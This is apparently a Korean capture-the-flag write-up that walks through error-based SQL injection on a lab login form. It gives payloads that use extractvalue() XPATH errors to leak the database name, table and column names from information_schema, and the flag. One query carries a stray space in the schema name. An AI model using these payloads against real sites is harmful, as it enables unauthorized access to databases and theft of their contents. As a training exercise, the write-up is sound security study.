CTF : SQL Injection 3

DATE : 2023/12/09

사이트로 들어가 기본적으로 제공되는 계정으로 로그인하면

normaltic:1234

302 found response를 받아 index.php로 redirection 된다.

이 페이지에서 SQL Injection을 수행할 수 있는지 확인하기 위해서

normaltic' and '1'='1

위의 SQL을 넣어보면

성공적으로 302 found 응답을 볼 수 있다. 즉! SQL Injection을 수행할 수 있음을 확인한 것이다.

그렇다면 다음으로 SQL을 주입해

의도적으로 에러를 발생 시킨다면 화면에 출력 되는 지를 확인해보자.

normaltic' and (extractvalue('1',concat(0x3a,(select 'hanhxx')))) and '1'='1

이 SQL이 실행되어 결과가 화면에 출력 된다면 ":hanhxx"라는 문구를 볼 수 있을 것이다.

우측의 결과 화면을 확인해보면, 의도한 대로 에러가 화면 상에 제공됨을 확인할 수 있다.

이제 우리는 에러 안에 SELECT문의 결과가 들어가도록 Query를 짜서 공격을 수행하면 된다!

SELECT문이 들어가는 자리 외의 Query는 방금 사용한 Query를 따른다.

normaltic' and (extractvalue('1',concat(0x3a,(__SELECT__)))) and '1'='1

그럼, 공격 Query를 정했으니 DB 이름을 알아내 보도록 하자.

select database()

DB 이름을 출력하기 위한 SELECT문을 공격 Query에 넣어

normaltic' and (extractvalue('1',concat(0x3a,(select database())))) and '1'='1

실행해보면 XPATH syntax error에서

sqli_2 라는 DB 이름을 확인할 수 있다.

바로 이어서, table 이름을 출력할 Query를 작성해

select table_name from information_schema.tables where table_schema=' sqli_2'

공격 Query에 넣어주면

normaltic' and (extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=' sqli_2')))) and '1'='1

전체 길이는 길어지지만! 결과는 위와 같이

간략하게 출력된다. 내용을 보면 "Subquery returns more than 1 row"

결과가 1개 이상이라는 문구를 확인할 수 있다.

이럴 때는 여러 ROW 중 하나를 특정하기 위해서 limit을 사용하면 된다.

첫 번째 TABLE 이름을 확인해보면 flag_table 임을 알 수 있다.

바로 flag_table 안에 어떤 column이 있는 지 확인해보면

normaltic' and (extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1)))) and '1'='1

첫 번째 column이 flag임을 어렵지 않게 알아낼 수 있다.

이로써 Table name, column name을 알기 때문에,

select flag from flag_table

이제는 원하는 데이터를 추출할 수 있다.

Last updated